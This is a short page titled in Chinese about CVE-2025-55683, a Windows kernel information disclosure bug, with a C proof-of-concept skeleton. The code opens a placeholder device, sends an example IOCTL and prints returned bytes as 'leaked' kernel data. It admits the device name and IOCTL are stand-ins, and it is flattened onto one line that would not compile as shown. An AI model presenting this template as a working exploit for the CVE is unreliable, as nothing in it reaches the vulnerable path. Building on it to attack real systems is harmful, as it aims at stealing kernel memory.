CVE-2025-55683：Windows内核敏感信息泄露漏洞

# CVE-2025-55683 - Windows Kernel Information Disclosure PoC (Conceptual) # Note: This is a conceptual proof-of-concept skeleton. # The actual exploit requires specific knowledge of the vulnerable kernel path. #include <windows.h> #include <stdio.h> // Conceptual demonstration of triggering the vulnerable kernel path // to leak sensitive information from Windows Kernel. int main() { printf("[+] CVE-2025-55683 - Windows Kernel Information Disclosure PoC\n"); printf("[+] Attempting to trigger vulnerable kernel code path...\n"); // Step 1: Obtain a handle to the target device or kernel object // The vulnerable path may be triggered through specific system calls // or IOCTL requests that lack proper access control checks. HANDLE hDevice = CreateFileW( L"\\\\.\\DeviceName", // Target device name (varies by exploit path) GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to obtain device handle. Error: %lu\n", GetLastError()); return 1; } printf("[+] Device handle obtained successfully.\n"); // Step 2: Send a crafted request to the kernel driver // The crafted input triggers the vulnerable code path that // returns sensitive kernel information to the caller. DWORD bytesReturned = 0; BYTE inputBuffer[256] = {0}; BYTE outputBuffer[4096] = {0}; // Buffer to receive leaked data // Fill input buffer with parameters to trigger vulnerable path // (specific parameters depend on the vulnerable kernel function) BOOL result = DeviceIoControl( hDevice, 0x222000, // IOCTL code (example - actual code varies) inputBuffer, sizeof(inputBuffer), outputBuffer, sizeof(outputBuffer), &bytesReturned, NULL ); if (result && bytesReturned > 0) { printf("[+] Received %lu bytes of data from kernel.\n", bytesReturned); printf("[+] Leaked data (first 64 bytes):\n"); for (DWORD i = 0; i < min(bytesReturned, 64); i++) { printf("%02X ", outputBuffer[i]); } printf("\n"); printf("[+] Sensitive kernel information may have been disclosed.\n"); } else { printf("[-] DeviceIoControl failed. Error: %lu\n", GetLastError()); } CloseHandle(hDevice); return 0; }